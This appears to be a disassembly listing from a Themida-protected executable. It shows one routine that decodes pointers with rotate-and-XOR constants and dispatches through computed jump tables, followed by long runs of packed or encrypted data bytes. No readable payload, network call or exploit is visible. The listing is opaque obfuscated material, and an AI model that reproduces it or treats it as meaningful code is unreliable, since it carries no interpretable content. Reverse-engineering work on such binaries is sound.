mov ecx, [edx+18h]
ror eax, cl
mov ebx, 1E330B14h
xor eax, ebx
sub eax, 4
mov [ebp+6131BBDh], eax
mov ebx, [eax+4]
mov edi, eax
mov eax, [edx+10h]
mov ecx, [edx+18h]
ror eax, cl
mov esi, 0B81EC512h
xor eax, esi
sub eax, edi
and eax, 0FFFFFFFCh
sub eax, 4
mov [ebp+61318DDh], eax
mov eax, [edx+14h]
mov [ebp+6133055h], eax
mov eax, [edx+18h]
push ebx
jmp loc_5EDBCC
; ---------------------------------------------------------------------------
push dword ptr [ebp+61313D1h]
jmp loc_5EDBE0
; ---------------------------------------------------------------------------
push dword ptr [ebp+6131A95h]
jmp loc_5EDBE0
; ---------------------------------------------------------------------------
push dword ptr [ebp+6132831h]
jmp loc_5EDBE0
; ---------------------------------------------------------------------------
push dword ptr [ebp+613005Dh]
jmp loc_5EDBE0
; ---------------------------------------------------------------------------
push dword ptr [ebp+613302Dh]
jmp loc_5EDBE0
; ---------------------------------------------------------------------------
push dword ptr [ebp+61331EDh]
jmp loc_5EDBE0
; ---------------------------------------------------------------------------
push dword ptr [ebp+613125Dh]
jmp loc_5EDBE0
; ---------------------------------------------------------------------------
push dword ptr [ebp+6131B65h]
jmp loc_5EDBE0
; ---------------------------------------------------------------------------
push dword ptr [ebp+6131139h]
jmp loc_5EDBE0
; ---------------------------------------------------------------------------
push dword ptr [ebp+6130ED5h]
jmp loc_5EDBE0
; ---------------------------------------------------------------------------
push dword ptr [ebp+6130B01h]
jmp loc_5EDBE0
; ---------------------------------------------------------------------------
push dword ptr [ebp+6132101h]
jmp loc_5EDBE0
; ---------------------------------------------------------------------------
push dword ptr [ebp+6132CA1h]
jmp loc_5EDBE0
; ---------------------------------------------------------------------------
push dword ptr [ebp+61320B9h]
jmp loc_5EDBE0
; ---------------------------------------------------------------------------
push dword ptr [ebp+6132309h]
jmp loc_5EDBE0
; ---------------------------------------------------------------------------
push dword ptr [ebp+6132331h]
jmp loc_5EDBE0
; ---------------------------------------------------------------------------
loc_5EDBCC: ; CODE XREF: sub_5EDAB2+65j
mov ebx, eax
mov eax, 0Bh
mul bx
lea ecx, [ebp+61A1852h]
add ecx, eax
jmp ecx
; ---------------------------------------------------------------------------
loc_5EDBE0: ; CODE XREF: sub_5EDAB2+70j
; sub_5EDAB2+7Bj ...
call dword ptr [ebp+6131D89h]
pop ebx
loc_5EDBE7: ; CODE XREF: sub_5EDAB2+14Ej
mov eax, [ebp+6131BBDh]
cmp [eax+4], ebx
jnz loc_5EDC05
push ebx
push 1
call dword ptr [ebp+6130DA9h]
pop ebx
jmp loc_5EDBE7
; ---------------------------------------------------------------------------
loc_5EDC05: ; CODE XREF: sub_5EDAB2+13Ej
popa
pop edx
retn
; ---------------------------------------------------------------------------
loc_5EDC08: ; CODE XREF: sub_5EDAB2+18j
popa
pop edx
mov eax, 7E41A8ADh
jmp eax
sub_5EDAB2 endp
; ---------------------------------------------------------------------------
db 8Bh, 2 dup(85h)
dd 8D061311h, 1A19408Dh, 1418906h, 0CE8C38Bh, 31000000h
dd 4A6A4362h, 0B4F56CF8h, 812FA464h, 66EE8AEEh, 850F5A3Ch
dd 2, 0C281D98Bh, 736Eh, 1C98B9h, 7E800h, 26E0000h, 0DC47DD90h
dd 0EE8EEh, 69730000h, 922452D3h, 38EEEA06h, 4882A807h
dd 12E9h, 212B4D00h, 0D76D4DA7h, 7CE4EA94h, 0BA0BFCFEh
dd 5F3A4243h, 8B028B5Fh, 93C081DEh, 66519778h, 0C081D88Bh
dd 49029B89h, 1420C081h, 51601C5Ch, 58D0B70Fh, 14E9h, 6FE9D500h
dd 0EB614CD8h, 0D357D0h, 7A594E5Fh, 0D3C22402h, 8B5061DDh
dd 81028FF0h, 3C1749EAh, 14E866h, 0F18C0000h, 0D4F58C13h
dd 5EA12E2Bh, 0D2C0368Dh, 0F75879F1h, 0DA8AD58Dh, 45C2815Bh
dd 0F663C17h, 681h, 0AEDE8100h, 814057D1h, 1E9h, 1A850F00h
dd 0BB000000h, 48B125D5h, 2CE9h, 0F4D1F300h, 9F10DD5Bh
dd 424665B7h, 4761105Fh, 0BE950h, 7B800000h, 0B31F8315h
dd 4576401Ch, 0FF53E982h, 0EC67FFFFh, 9D39F7A4h, 0D6E9DDh
dd 72980000h, 9CD744D7h, 0C8C3CA45h, 0ABDAB6E1h, 0B395A7ACh
dd 0A1F44592h, 0DA00B395h, 20A7ECABh, 6BB2915Dh, 2096B1F4h
dd 9B552075h, 0BCF26BB7h, 0A19692A5h, 603A7594h, 329FB799h
dd 0E9B599BDh, 92A59CB2h, 95ACA3F2h, 97B1EF76h, 0B4F94E00h
dd 5C009FA5h, 4AF07B6Bh, 0D0008A92h, 0F545F352h, 79A3F653h
dd 0F144D6D9h, 0F445E3AFh, 0D77D41h, 0BF9792B0h, 60FD756Bh
dd 0F996BFCFh, 20B293BCh, 9B57207Dh, 9492ABF7h, 0E3B29EBDh
dd 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h
dd 97B3ED72h, 0F1B6D000h, 0F0A8CD43h, 0
dd 9D744700h, 99E0E312h, 5Eh, 7 dup(0)
; ---------------------------------------------------------------------------
jmp loc_5EF317
; ---------------------------------------------------------------------------
push 61A1CF5h
jmp loc_58442C
; ---------------------------------------------------------------------------
push 61A1DE1h
jmp loc_58442C
; ---------------------------------------------------------------------------
push 61A1EE5h
jmp loc_58442C
; ---------------------------------------------------------------------------
push 61A2004h
jmp loc_58442C
; ---------------------------------------------------------------------------
push 61A20A0h
jmp loc_58442C
; ---------------------------------------------------------------------------
push 61A215Eh
jmp loc_58442C
; ---------------------------------------------------------------------------
push 61A221Fh
jmp loc_58442C
; ---------------------------------------------------------------------------
push 61A22D2h
jmp loc_58442C
; ---------------------------------------------------------------------------
push 61A2376h
jmp loc_58442C
; ---------------------------------------------------------------------------
push 61A24CFh
jmp loc_58442C
; ---------------------------------------------------------------------------
push 61A25A5h
jmp loc_58442C
; ---------------------------------------------------------------------------
push 61A26D4h
jmp loc_58442C
; ---------------------------------------------------------------------------
push 61A27DAh
jmp loc_58442C
; ---------------------------------------------------------------------------
push 61A295Dh
jmp loc_58442C
; ---------------------------------------------------------------------------
push 61A2A99h
jmp loc_58442C
; ---------------------------------------------------------------------------
push 61A2CC1h
jmp loc_58442C
; ---------------------------------------------------------------------------
push 61A2DB1h
jmp loc_58442C
; ---------------------------------------------------------------------------
db 0B6h
db 28h ; (
db 2Eh ; .
db 90h ;
; ---------------------------------------------------------------------------
loc_5EDEC7: ; CODE XREF: Themida_:005EDED9j
stosb
sbb [esi], dh
cwde
mov dl, 1Eh
sub al, 8Eh
lodsb
sbb esi, ds:2E26B395h
nop
popf
xchg eax, edx
jns short loc_5EDEC7
push 7AD8684Ah
pop esp
; ---------------------------------------------------------------------------
db 76h, 0E1h, 67h
dd 7CD06147h, 1B4A955Eh, 16B7CFBFh, 0BD2D1188h, 6D51E06Ch
dd 565270DCh, 295C7B0Bh, 168EA2CCh, 0D0213055h, 0A8A9F72h
dd 0A0CC3DC9h, 5AAD0CD0h, 3C78h, 0E0C2DE00h, 33A2014Fh
dd 109DB4D7h, 47737DA0h, 16476422h, 168E9837h, 45B48508h
dd 0A8A87C5h, 0ED203F1Ch, 0A8A8871h, 7711DB3Ah, 0DF6D5502h
dd 23F16973h, 8B5AAD39h, 0B5h, 0E06CBDAFh, 74E06D51h, 0FC50E1E5h
dd 1B69FBDFh, 6C4F14C5h, 0BD0766BAh, 0F0992C2Eh, 2E8CED5Bh
dd 9E9749BFh, 2C20B110h, 3319AC8Eh, 0C842B394h, 91109E95h
dd 725C40Ch, 0D607A4E2h, 168F9BF3h, 8925133Ch, 153DBDDFh
dd 0DFFF1ECBh, 0DFFC8ADFh, 7601ABAEh, 0A2018410h, 83233180h
dd 1144109Dh, 79FD0B2Fh, 98B89554h, 0B2000012h, 0AE943224h
dd 0AE94321Ch, 0B092301Ah, 0AF91311Fh, 0A1943222h, 84D05D8Eh
dd 9EB40426h, 83C51A40h, 0A0ACFD23h, 0E7163902h, 16B7D16Bh
dd 0C281DD34h, 0B51670E5h, 0BEDF109Dh, 0F9952436h, 0D7817883h
dd 4C6A0BF3h, 5979D366h, 0C8BEA3FFh, 989B7AEBh, 0F6DC168Eh
dd 86E3ED67h, 47C73607h, 9E0A8A89h, 0F36F9EC1h, 0BC0A8A88h
dd 84F58F59h, 0AD3E9858h, 0B5405Ah, 0BD160000h, 0C18D1D6Ch
dd 8F1F03A0h, 656FAEBFh, 0DF75C406h, 0B089FF8Eh, 60F1109Dh
dd 59ECCEECh, 3D6562F3h, 0FC3A61EDh, 5C1A082Ch, 0A5BCF8C0h
dd 0AE93C2E1h, 87168E6Bh, 517EA906h, 458CC7A1h, 6F508E56h
dd 89118748h, 0A62E7CA8h, 98374F9Ah, 1D2C1EB2h, 76E7F4FCh
dd 10742384h, 97BB187Dh, 85AD0A4Ah, 90CE1632h, 44391BAAh
dd 79FB3B66h, 0AC95B077h, 9E000011h, 42684610h, 5A805EF0h
dd 44664406h, 5B7D5DF3h, 3568460Eh, 104491FAh, 124090B2h
dd 0F398EB4h, 143889AFh, 33A2ADB6h, 16B7D1D7h, 0BDD589A0h
dd 0E3C7E470h, 2869F850h, 3D90B2A0h, 0BD11AF0Fh, 7251E06Ch
dd 0B4A62055h, 6B6F109Dh, 0CC1475DDh, 7057378Ah, 5B14DE04h
dd 900A7B29h, 59109DD7h, 0DA6BDF71h, 1BBBDABBh, 74E9A335h
dd 109DD81Ah, 0FC4CDFE3h, 694D2C6Dh, 0BA1978DCh, 0FA474898h
dd 0EB8A0B5Ah, 5D4582E1h, 63757FCBh, 725C7AD2h, 65214861h
dd 0FD3E6946h, 0BBA313EDh, 0CB6A9923h, 0DC168EBAh, 56B756B9h
dd 78E10489h, 47B61571h, 18F17DAAh, 6D118CB3h, 5553C6FBh
dd 4B2A4B07h, 20A3BEFAh, 1372C391h, 0D3205572h, 0B012DB11h
dd 151398Ah, 94890F9Ah, 0F0112041h, 0BD1A7BE8h, 0D924B59Ah
dd 3B418BDCh, 3E0E9FB1h, 489BBFA0h, 8D03100h, 0A4D973C6h
dd 7C5DA090h, 0A8431ECDh, 0A2000010h, 3E644214h, 5E4462ECh
dd 2280CAh, 1F01A1AFh, 0B1E4C292h, 94C00D7Eh, 8EC41436h
dd 93B50A30h, 90BC0D33h, 0B7262932h, 16B7D35Bh, 0BD51ED24h
dd 5351E06Ch, 745B780Eh, 6C24A1ECh, 75626A49h, 8F68F900h
dd 1BBBDA16h, 0E3C0C61Bh, 7C526772h, 3C0D9010h, 78524DCDh
dd 0D16AA404h, 9B77EDABh, 3C5550h, 0A3E90000h, 0CCEBC8BEh
dd 814287E3h, 0B903B9CFh, 8F8E574Ah, 2E8D1016h, 3191B70Ch
dd 8AF846C2h, 212B7E0Ah, 3C0C9F81h, 0BC0C2E2Dh, 10134E96h
dd 2C000010h, 0F880DA0Bh, 0C4490A8Ah, 0E0C262FCh, 0CAF6FE4Ch
dd 95C8E79Fh, 1687B056h, 85017453h, 4E0A8399h, 256805CFh
dd 3B11A486h, 2824B59Bh, 0E81D3A19h, 0A83996Eh, 0B20ED637h
dd 0CFF0CFB7h, 62F35BEBh, 0F5518423h, 0BE0A8398h, 10F6955Fh
dd 0F1106D93h, 9A2B0FACh, 9B2E14B2h, 9B3012B1h, 737D9CADh
dd 0D5B1B8F4h, 5E4A87F6h, 1F030A5Ah, 1170C191h, 99351AC7h
dd 0E7546F79h, 687AEF8Eh, 9173DD7Bh, 0F89FFDAh, 75C10000h
dd 4FDFC1E1h, 67F9DFFFh, 4EDDC3E3h, 2F7EA402h, 99968525h
dd 4F6FE574h, 5777DB69h, 4C6ADE71h, 5979D366h, 0C41E4F90h
dd 8D16B7D4h, 12702A14h, 53109DB5h, 4E70E06Fh, 308C54FEh
dd 14368A39h, 0E5745675h, 578656Fh, 1687AE05h, 3218B7D6h
dd 300DAD9Fh, 9A84DE0Fh, 0C84D0A83h, 0D17BCE00h, 8B3D2480h
dd 839A005Ah, 4AC4390Ah, 130A839Ah, 0CB5D65F2h, 607F1E7Fh
dd 748B242Dh, 23527510h, 47087A7h, 3B892D70h, 0FDC74617h
dd 30382D70h, 4579F7A4h, 0EEDABA6h, 0D15D0000h, 0B3032585h
dd 0C3153B9Bh, 0B2012787h, 0CB1A409Eh, 35FA2989h, 0EBCB89D8h
dd 0FBDB77C5h, 0E8C682D5h, 0FDDD6FC2h, 207AEBF4h, 0E916B7D5h
dd 6CBD8EB0h, 4EDFC3E0h, 5377F6FEh, 14FB4A02h, 19D70576h
dd 0FBA341E6h, 0A7B76DD4h, 0AC340BAAh, 8F275h, 0E0C2C900h
dd 0C9F5FF4Dh, 94C9E6A0h, 1687AEC1h, 0F4C9C5EAh, 86DC4C3Fh
dd 4F6CB13Eh, 6A72DA6Bh, 9AF4456Dh, 8365EF6Bh, 3455B80Ah
dd 2B21B496h, 3711A68Ch, 8EDDE726h, 164F6651h, 4CEC8EB5h
dd 0A8850584h, 0C2A70A83h, 8F76E7C4h, 7010749Ah, 97A4FE6Fh
dd 56D50470h, 0F1F6AE80h, 630283D0h, 0F76FC8EEh, 67620979h
dd 0E2Fh, 2787CF1Bh, 3D9DB101h, 2181C91Bh, 2A0B0FFh, 0E3C39120h
dd 0BF0E7FB0h, 0C5133595h, 0B80B2D8Dh, 0BD103290h, 3D222F8Fh
dd 0B7D64EC8h, 60021716h, 51E06CBDh, 0E170DC6Dh, 87D5FD1Ah
dd 0B71B7ACBh, 0F4152424h, 329A2ECh, 0A341E635h, 8369Dh
dd 3E213E00h, 9DBD53CFh, 88F91C10h, 109DBD0Eh, 0B42EB6D7h
dd 9DB51270h, 592D3410h, 0E5755D7Ah, 2FB9D869h, 87AF3DD0h
dd 0B8177616h, 0FB4A3F92h, 0E8890859h, 76C5EDCAh, 6DC012DAh
dd 3CD700DFh, 0CBEBE0CDh, 0E0D8381Dh, 83E2E1ECh, 0DBE8311Ch
dd 0E4EC42DAh, 44422785h, 0D1624867h, 2F16757Fh, 10107470h
dd 89A4D88Dh, 1AD179F7h, 0D6E3Fh, 0C88EDC00h, 0D876C8EAh
dd 0C684D8FAh, 0DF71C2E8h, 0C88CD9FFh, 1774BBEAh, 62C8ACAh
dd 1C3E9CB6h, 0FF2181C7h, 33409EAEh, 0D75DB92Ch, 0F32616B7h
dd 0E06CBD4Fh, 0AADC6D51h, 8FF58B27h, 1B2A4BEFh, 3765D674h
dd 0A3411779h, 0A5A5371Bh, 775041Bh, 0A35A0000h, 7AEBC8BEh
dd 1687AEFEh, 52D8A0Bh, 173B98B4h, 99B687C7h, 8399EA64h
dd 3352B30Ah, 3485ABA9h, 2B4A0655h, 9A6BEB1Ah, 83AC0A83h
dd 0BAA31369h, 68D41C95h, 0BC164781h, 0ED0A833Bh, 0CDE3EF1Dh
dd 0DF3E0DB8h, 0E5EC21BEh, 3610743Eh, 0BA8BC114h, 0B1D4915Bh
dd 0F758AABCh, 2924C379h, 0CBBh, 0B313438Fh, 0B1113D8Dh
dd 0AD0D3D8Fh, 0B6143C8Bh, 0AF0F4594h, 0B5AB37Ch, 0F9476949h
dd 4577959h, 0F1446644h, 716E7B5Bh, 0B7D6A2FCh, 0C366B16h
dd 51E06CBDh, 0E170DC6Dh, 31004CDDh, 607CB40Ah, 983A37A4h
dd 0A6390846h, 9323CF6Ch, 0A6BAABBh, 23D465E5h, 69D09FFCh
dd 8A52FA8Ch, 41F402D2h, 6ADAAA3h, 70900000h, 109DB515h
dd 6F4C3A2Fh, 87AE5DFEh, 0D0052216h, 0A839A76h, 84CC1B3Fh
dd 0F8EDBE5h, 15378AB0h, 0A4293B5h, 0A2E4FD3Bh, 9575D005h
dd 0DF3E1074h, 0F79B8AAAh, 0FDD88F79h, 0C17h, 0FAFA733h
dd 15B59929h, 9A9A133h, 1AB89827h, 0BABA938h, 67F61718h
dd 5DEBCDEDh, 60F3D5F5h, 55E8CAE8h, 0C50AD7F7h, 0B7D83690h
dd 0B8AAFF16h, 351E0C2h, 62EFD332h, 9A2263F2h, 466925B8h
dd 9DB4BB17h, 50018410h, 109DB4F6h, 2E3F5EBFh, 0A2B3992Ch
dd 2ADD6EDCh, 519BB908h, 409EAEFFh, 41EAD4A4h, 13B7CA3h
dd 785F0000h, 3F5FEABDh, 0CC82D4E2h, 0C2B923ADh, 13424EE0h
dd 109DB4B7h, 0ED7C1D80h, 9F3224ACh, 27BA9CADh, 87A88525h
dd 9DB4FC56h, 7840C510h, 4261253Ch, 8EA2D613h, 2F3E5F16h
dd 8A9F80DEh, 0A788D70Ah, 8A9EDC36h, 5860A50Ah, 0A16F9D2Eh
dd 95AAD0Ch, 33h, 553688AAh, 97F64703h, 0A374EEF6h, 0CCEBC8BEh
dd 3E85C2E3h, 34BC0422h, 8EF1F4D5h, 0F140C516h, 8AE20280h
dd 9C2D590Ah, 0ACC7A070h, 0A0085Ah, 0BD2E0000h, 0DFC3E06Ch
dd 6B6FFE4Eh, 0A1E071D9h, 6A69F8C0h, 2438EC45h, 747C615Eh
dd 0B081D362h, 40113B8Eh, 2A1ABFEh, 71C08E20h, 5B8AC810h
dd 109DCEF5h, 4360EC3Dh, 0B8124364h, 81109DB7h, 0B7F16D1Ch
dd 5BBA109Dh, 1E434391h, 0A61A4B68h, 0A3168815h, 0D05D4562h
dd 0B5042684h, 2D94EA9Fh, 26C5800Fh, 0ABE2Bh, 183E8C00h
dd 84698BAh, 163488AAh, 0F4192B8h, 183C89AFh, 47A48BBAh
dd 567C5AFAh, 4C6E4C06h, 4F7151F7h, 63704EFEh, 0D88D097Ch
dd 435616B7h, 0E470BD1Fh, 0FB51E4C6h, 0E0C27DDBh, 97B90351h
dd 13370646h, 0D2C8AC2h, 4CBh, 0C8BEA3B1h, 53E6CCEBh, 9F2968F9h
dd 8EADB960h, 0AABBDA16h, 8A9AFB5Bh, 0A8A8370Ah, 2B27B599h
dd 8AD7FB1Ah, 2B657BCAh, 0F41EA78Eh, 0C673557h, 0F4CF5AADh
dd 73000001h, 1670E5C2h, 0DF109DB5h, 7CD736BEh, 92109DB5h
dd 5D902F57h, 1687AEC0h, 5039BE09h, 529CDCFh, 3F684764h
dd 11F8DC24h, 1D2FB901h, 0C0E2C08Ch, 328EDF6Dh, 4F704F37h
dd 31D8CF68h, 569E6428h, 74995AB7h, 6FE22310h, 79F79F39h
dd 0E8BA9756h, 62000009h, 0FE2482D4h, 1E04A2ACh, 0C0E2C08Ah
dd 0DFC1E16Fh, 71A40252h, 54004DBEh, 4E045476h, 53F54A70h
dd 50FC4D73h, 0F7666972h, 16B7D99Bh, 0BD112D64h, 0DFC3E06Ch
dd 2F6EFF4Fh, 0B5015D90h, 4BCA109Dh, 4DE0E281h, 77A86EFFh
dd 0F9480053h, 0ABA53698h, 17717B9Ah, 0EF5DF0A2h, 0EAA573CFh
dd 3C0DA341h, 31000001h, 0C3E06CBDh, 300151DFh, 765807D1h
dd 4D4969E3h, 20557214h, 168EA2C5h, 3499CBEh, 5C09D332h
dd 79D92839h, 0D00A8A9Eh, 0D531A483h, 9E0A8A9Dh, 430B5B7Fh
dd 0BF4993F2h, 0F52224Ah, 0B345AADh, 0E18E2082h, 88D9FD10h
dd 20A5FCC4h, 0B9000000h, 0EBC8BEA3h, 8E989B7Ah, 18296C16h
dd 8A8969E9h, 0B546C00Ah, 0AD3EC987h, 0B2715Ah, 0C2C50000h
dd 320351E0h, 76C709D3h, 83D1F9D6h, 0D51F7ECFh, 0AFA53416h
dd 2329BC9Eh, 0AF9D3012h, 0E888DC0Fh, 1DB0109Dh, 3AA7902Fh
dd 0F53FDE70h, 0A7C684D8h, 0EAFF3F1Dh, 3ACE3F9Ch, 371687BFh
dd 0F6CEF9D6h, 0EB3A0A0Dh, 3317448Ch, 2A10AEA6h, 8AC4B99Bh
dd 93800EF7h, 8B9F9D4h, 45910000h, 3F8FB111h, 3789AF0Fh
dd 3E8DB313h, 3F8EB412h, 0A986B515h, 7F5FF544h, 67470B59h
dd 7C5AEE41h, 69490356h, 940E7F60h, 5D16B7DAh, 0E5C21A44h
dd 9DB51670h, 236C4710h, 0D4EAFEB0h, 9CBE0687h, 81A7074Dh
dd 43075930h, 0FE2C93F2h, 4274065Ah, 419F3F5Eh, 51E06CBDh
dd 5370DC6Dh, 3CB1DF6Fh, 109DB4E2h, 0C10B6AABh, 2A1B493h
dd 0A31A0000h, 7AEBC8BEh, 1687B039h, 4F704FCEh, 5D80368h
dd 2756B378h, 0A82CDABh, 70FF4FDFh, 0B544A32Dh, 0A82CE55h
dd 5D90AFACh, 0A82CE01h, 7814BCAh, 0F38A4A72h, 4F325AA4h
dd 8000002h, 9DB51770h, 52342D10h, 0AF970075h, 163C1687h
dd 0BB2A89C3h, 0A83995Fh, 2784E528h, 5E231F08h, 668968F5h
dd 63E97C5Eh, 80CC5D43h, 20B092B1h, 0C6DDD6Fh, 0A814DC3Dh
dd 77E6C5C1h, 1073B31Ah, 6EDE6F53h, 71C10966h, 6C0D8CDDh
dd 0F6B87FF9h, 0D8F5B479h, 7B3h, 0AB0B4B97h, 0B9193585h
dd 0A5054597h, 0BE1C3483h, 0A7074D9Ch, 352BB74h, 14F7151h
dd 0FC4F7151h, 0F94C6E4Ch, 69667353h, 0B7DB9AF4h, 142E6316h
dd 0FF4DE0C2h, 75DB6C6Eh, 378ACC14h, 0AF024415h, 4CC6CC9Dh
dd 9AB203AFh, 0EAD0A03Ch, 0A378A341h, 0DE000001h, 0C3E06CBDh
dd 6EFF4FDFh, 0FD07882Fh, 71056D09h, 83D6F867h, 0B4ADE9C9h
dd 0F5CB0B0Ch, 7C1D19C1h, 0E57B785Fh, 0FC62149Dh, 0E2C96C19h
dd 0A8306DAEh, 0D5FF3AABh, 588168Eh, 0F381734h, 609BAF69h
dd 87037250h, 500A8AB4h, 0F256E9CDh, 0B43B9BEAh, 0F8920A8Ah
dd 199B5983h, 55435AADh, 17000000h, 0EBC8BEA3h, 8E989B7Ah
dd 18296C16h, 2A4143Bh, 4660985Ch, 708F0F7Eh, 0F9E60A8Ah
dd 712BA7D6h, 0F1640A8Ah, 0A8A7095h, 0ED303F5Eh, 71439FCEh
dd 890C0A8Ah, 8334C53Fh, 70D531A4h, 0C19E0A8Ah, 8A70D24Ch
dd 1B7A9B0Ah, 564B09D1h, 0C3F35AADh, 47000000h, 14FE0C2h
dd 84495B7h, 0C6C81539h, 17A5435Fh, 83D2B321h, 0F5EEE3Fh
dd 990C7ACBh, 0BD65833Bh, 88A70465h, 9E87F955h, 7943C210h
dd 0A1C4285Bh, 79CC109Eh, 50CBF4D3h, 0D735BCDAh, 13D1BA5h
dd 66F7E0E8h, 4094AA23h, 44BB1746h, 61EF109Eh, 122160F1h
dd 0C03592F3h, 1688A32Ch, 0E8C7E429h, 1190FFBFh, 0BD0729D3h
dd 0A8064E9Bh, 2C213382h, 800EF7D6h, 301530F7h, 1A000006h
dd 62C8ACCh, 163C9AB4h, 82A88C2h, 173999B7h, 0F92C8ACAh
dd 0CC88D536h, 0D67CCCEEh, 0CB7DD2F8h, 0D874C5EBh, 7FEEF1FAh
dd 16B7DE23h, 0BD89B5ECh, 0E3C7E470h, 656AFB53h, 0BD3A36E2h
dd 687011D6h, 57F5486Ah, 6CBDD977h, 6BFC8B1Dh, 543554E5h
dd 0DB6FC105h, 0B6A0B8Ah, 5A8BACh, 0C9109DB5h, 80D26244h
dd 0D98850B1h, 0CAE864F5h, 16EFh, 6CBD5300h, 0DC6D51E0h
dd 46EE170h, 0C28ADB87h, 27C5E4h, 0BD690000h, 57B3226Ch
dd 20109DB5h, 0C286D9FDh, 0E26392A3h, 0C3109DB4h, 1235E257h
dd 9DB567E3h, 0E3ED3010h, 0CEEC60F1h, 70E5C274h, 109DB516h
dd 2436BEDFh, 8EAABB91h, 0B3943353h, 4312428Fh, 4BB7C1FCh
dd 4223A5B3h, 16AC0B7Ah, 86A91688h, 2A3B11A4h, 207AEBh
dd 0DEE90A84h, 0F86F8699h, 0FB3D2FBh, 5CBD8CBCh, 19B6D794h
dd 0EACA031h, 14B3992Ch, 2BB59F2Eh, 1D6980BCh, 0D4474FBEh
dd 0E528106Dh, 0FB51E4C6h, 0E864F5DBh, 0BD065B59h, 0BE8C206Fh
dd 0AB0F6EAFh, 0E627361Eh, 98B52887h, 0E10A5A9Fh, 0C4E66AF9h
dd 0C5B8D96Fh, 73DDBB67h, 0F498B574h, 56000004h, 4A704E08h
dd 527856F8h, 4C6E4CFEh, 537555FBh, 3D704E06h, 84C99F2h
dd 1A3888AAh, 74196BCh, 1C3081A7h, 3BAAB5BEh, 16B7DEDFh
dd 0BDCD71A8h, 0E4C3E06Ch, 9DB51571h, 0C31F4E10h, 8C109DB4h
dd 0C7183A09h, 3859B889h, 0BF094396h, 2E1EAF91h, 3418A991h
dd 8DDCE425h, 76DC6C4Eh, 73D96C6Eh, 1DAE1CE2h, 94F5486Ah
dd 0DA3B0A40h, 8E1F31BBh, 0AB3921BEh, 6D7796A7h, 0FC714E6Fh
dd 109DB4A2h, 3AA22A6Bh, 0A341EA7Ah, 67E2h, 0BEA37800h
dd 99CCEBC8h, 109DB53Dh, 95238706h, 0B72633BDh, 168EFBE2h
dd 22E5240Bh, 2F5CB627h, 0E0250A8Ah, 0BA1BBBBh, 0C2E124C1h
dd 0E06CBDE5h, 5A1EAEBBh, 25AF101Bh, 56E5A033h, 0C83B9BFAh
dd 0A89C64Ch, 0DB37A689h, 0A40A89C5h, 5EEA3D61h, 14468E0Fh
dd 62C8BC1h, 4ACB9AB4h, 0D96E5482h, 3DE6Fh, 5F000004h
dd 51E06CBDh, 4EFC5072h, 4569EFFh, 0FB3B9BB1h, 0D203A0E6h
dd 168EA397h, 0F9DEFD20h, 59ECBE2Bh, 61F5CCF3h, 0FD8CDBE5h
dd 0A8A2F9Dh, 0FB219AF4h, 5AAD9D3Dh, 44A5h, 0C1143600h
dd 0A397418Bh, 7AEBC8BEh, 168E989Bh, 7AD4666Ch, 0C793BC1Bh
dd 0F8141E2h, 0FFDC8B55h, 0F8C088DBh, 89B60989h, 9526600Ah
dd 0ADEBA967h, 0DA674B5Ah, 152B727Ah, 8C000001h, 0F20C16A3h
dd 767E635Ch, 226CBDECh, 0C4413CFDh, 89F82ADAh, 109E9B0Dh
dd 0F9D6B7D6h, 7DCC80D1h, 3115D41Ch, 3413B0A4h, 0C495BF0Eh
dd 9ABA1445h, 283109Eh, 9AD630A5h, 7E9F109Eh, 82D3F776h
dd 75C5EDCAh, 0BF0988D9h, 0C18B1E20h, 96FE72E1h, 476B109Eh
dd 880958F8h, 0D3BB0E40h, 9E9628A2h, 0CDACF110h, 39E1C9EEh
dd 0AEBF9122h, 0F38A486Fh, 41103C8Dh, 3917A1C0h, 0B786C617h
dd 0B9167079h, 4191B996h, 0ACDD3C0Dh, 109DCE32h, 0B3529AFBh
dd 168E9F66h, 6318E0Fh, 3895636Fh, 104E9612h, 0EADD910h
dd 749963DFh, 8A296C10h, 9B3B19A8h, 392C28B5h, 79FBA29Dh
dd 0CC3A17D6h, 7E000002h, 0A2882630h, 0BAA03E10h, 0A4862426h
dd 0BB9D3D13h, 9588262Eh, 70E4719Ah, 72E07052h, 6FD96E54h
dd 74D8694Fh, 13428D56h, 16B7E0B7h, 0BD352980h, 0E3C7E470h
dd 0E1EFF951h, 1DE6EBFh, 128C01DEh, 0DB109DB5h, 0B54FCBBAh
dd 3218109Dh, 61A0B1A3h, 409AB800h, 0EBC8BEA3h, 8E989B7Ah
dd 4B636C16h, 7076C5F2h, 0D5243554h, 0A8AA175h, 0A3C942CCh
dd 5AAD06D5h, 0BC7Dh, 6CBDE100h, 0E06D51E0h, 2094E574h
dd 88109DB1h, 8FB81735h, 0B1C9D737h, 8DCB15EEh, 95321AABh
dd 52C743B2h, 4F90109Dh, 9D52C41Eh, 69088D10h, 0BDA4005Fh
dd 2E7BEAC9h, 0D7168E24h, 64F5B4F0h, 0B6036208h, 2F4ECF9Eh
dd 3930704Eh, 22FF6E4Dh, 5B107441h, 0D968E877h, 52B330B8h
dd 8E004D75h, 2B528ABEh, 0F0CEAFC5h, 0A4D97BCAh, 79FAD91Ch
dd 0DCAFAA41h, 6E000001h, 725876E0h, 6A506EE0h, 745674D6h
dd 6B4D6DE3h, 655876DEh, 4014A1CAh, 62F04062h, 7FC95E44h
dd 64E8795Fh, 23527D46h, 16B7E1A7h, 0BD053970h, 0E4C6E470h
dd 0FADBFB51h, 0DB0A86D8h, 109DB57Fh, 1CA4C548h, 0E06CBDC2h
dd 70DC6D51h, 6FDD7052h, 0BF796750h, 0ADA61D9Bh, 4C94B809h
dd 3C4A9F9Dh, 1A1B6E9Fh, 7194168Fh, 34DDEE0h, 93C11032h
dd 0E7648EC2h, 0C3A2AA3Bh, 5C0683EDh, 23318009h, 5F436442h
dd 2127BCCFh, 4890F140h, 0EFD3F5ECh, 3D5CED5Dh, 8B15D24Ch
dd 1B7A9B0Ah, 0C4696BCh, 0F36697C4h, 0AC107BE6h, 63F6D869h
dd 8B0758E9h, 0D36149EEh, 25AFEE7Fh, 19B6D019h, 68B671E4h
dd 0CCEB2A0Ah, 0F3FD57E6h, 1772C3E5h, 57B687C7h, 21B19936h
dd 0F3FD1C2Dh, 4BFD5274h, 0C684D8FAh, 4B035377h, 0C987D8FAh
dd 1CB61978h, 3D22B69Fh, 0B46FEB1Ah, 0D538FE64h, 0B40B87F6h
dd 0B1D4FE64h, 0B66CDD27h, 7BD56623h, 0ECCAABEAh, 0B90EB5ACh
dd 0E9D1EE8Fh, 4AC4395Bh, 13FE64B4h, 80C293F2h, 79432230h
